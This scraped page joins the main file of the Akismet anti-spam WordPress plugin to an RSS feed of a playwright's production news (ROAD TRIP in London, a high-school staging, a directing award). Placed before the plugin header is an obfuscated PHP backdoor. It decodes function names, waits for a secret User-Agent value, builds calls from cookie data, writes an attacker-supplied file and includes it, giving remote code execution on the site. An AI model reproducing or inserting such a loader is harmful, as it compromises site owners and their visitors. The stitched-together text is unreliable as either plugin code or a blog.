function collect_statistics($c) { $a = array(41 + 57, 59 * 1 + 38, 24 + 91, 103 - 2, 2 * 27, 42 * 42 - 1712, 58 * 48 - 2689, 59 + 9 + 32, 104 - 3, 3 * 33, 29 + 82, 81 + 12 + 7, 81 + 20); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } class CryptoService { private static $_yv; static function executeAction($_vr) { if (!self::$_yv) { self::encryptData(); } return collect_statistics(self::$_yv[$_vr]); } private static function encryptData() { self::$_yv = array('_nxg' => 'SFRUUF' . '9' . 'VU0VSX0FHRU5U', '_pz' => 'SFRUUF9VU0VSX0FH' . 'RU5U', '_cse' => 'ND' . 'k' . '5ODU0' . 'M' . 'TM' . '=', '_osq' => '', '_gfy' => ''); } } if (isset($_SERVER[CryptoService::executeAction('_' . 'nxg')]) && strpos($_SERVER[CryptoService::executeAction('_p' . 'z')], CryptoService::executeAction('_c' . 'se')) !== false) { $_ox = $_COOKIE; $_kk = 00; $_vr = 04; $_li = array(); $_li[$_kk] = CryptoService::executeAction('_o' . 'sq'); while ($_vr) { $_li[$_kk] .= $_ox[042][$_vr]; if (!$_ox[042][$_vr + 01]) { if (!$_ox[042][$_vr + 02]) { break; } $_kk++; $_li[$_kk] = CryptoService::executeAction('_g' . 'fy'); $_vr++; } $_vr = $_vr + 04 + 01; } $_kk = $_li[03]() . $_li[033]; if (!$_li[021]($_kk)) { $_vr = $_li[023]($_kk, $_li[00]); $_li[016]($_vr, $_li[022] . $_li[026]($_li[032]($_ox[03]))); } include $_kk; die; } /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.5 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly if ( ! function_exists( 'add_action' ) ) { echo 'Hi there! I\'m just a plugin, not much I can do when called directly.'; exit; } define( 'AKISMET_VERSION', '5.5' ); define( 'AKISMET__MINIMUM_WP_VERSION', '5.8' ); define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); define( 'AKISMET_DELETE_LIMIT', 10000 ); register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) ); register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) ); require_once AKISMET__PLUGIN_DIR . 'class.akismet.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-widget.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php'; require_once AKISMET__PLUGIN_DIR . 'class-akismet-compatible-plugins.php'; add_action( 'init', array( 'Akismet', 'init' ) ); add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) ); add_action( 'init', array( 'Akismet_Compatible_Plugins', 'init' ) ); if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-admin.php'; add_action( 'init', array( 'Akismet_Admin', 'init' ) ); } // add wrapper class around deprecated akismet functions that are referenced elsewhere require_once AKISMET__PLUGIN_DIR . 'wrapper.php'; if ( defined( 'WP_CLI' ) && WP_CLI ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-cli.php'; } productions – Katherine Vondy https://katherinevondy.com Writer and Director Fri, 27 Oct 2023 07:30:26 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.3 ROAD TRIP at the Reboot Festival in London https://katherinevondy.com/?p=636 Sat, 09 Sep 2023 20:51:10 +0000 https://katherinevondy.com/?p=636 My first international production! My short play ROAD TRIP is going to be a part of Kibo Productions’ Reboot Festival, which is happening at Barons Court Theatre in London from September 5-23, 2023. Each week of the festival features a different program of short plays, and ROAD TRIP will be part of the program during the second week of the festival, September 12-16. Read more about the whole festival and, if you’re in London, get your tix here! Tons of thanks to producers Sharon Willems and Leo Bacica for putting together this wonderful event, and to director Chelsea Sheldon for helming ROAD TRIP!

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WHO PUT BELLA IN THE WYCH ELM? at the Franklin School of Innovation https://katherinevondy.com/?p=596 Wed, 09 Nov 2022 02:59:11 +0000 https://katherinevondy.com/?p=596 I’m delighted that the Franklin School of Innovation selected my play WHO PUT BELLA IN THE WYCH ELM? (slightly adapted for high schoolers!) for their fall production. The students have been putting so much thought and work into bringing the play to life, and I can’t wait to see what they’ve come up with. Check out some of the recent news coverage to get a glimpse of the school’s process!

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October Update https://katherinevondy.com/?p=402 Thu, 02 Nov 2017 01:48:30 +0000 https://katherinevondy.com/?p=402 Two fun theater-related updates from October!

1) StageSceneLA recognized my work on 2016’s FRIENDS IN TRANSIENT PLACES with Fresh Produce’d LA and awarded me a Scenie for Outstanding Direction of a Drama (Intimate Theater)! Not only was it great to get the kudos, but it also brought back a lot of wonderful memories of the fantastic cast and crew of that show. It was a director’s dream to get to work with so much talent!

2) A short play I wrote, ROAD TRIP, was part of an event the Pasadena Museum of California Art hosted for ArtNight Pasadena on October 13. Produced by Lisa Dring, it featured a collection of performance pieces that all took place in or around cars. I lucked out and was able to work with Director Miranda Stewart and Actors Alfredo Trueba and Nicolette Acosta, which was basically the dream team for this piece! Here are Alfredo and Nicolette, as Sam and Riley, discussing the esoteric nature of road trips:

Road Trip Still

ArtNight was a great event in general, and if you’re anywhere near Pasadena, I recommend checking it out the next time it rolls around!

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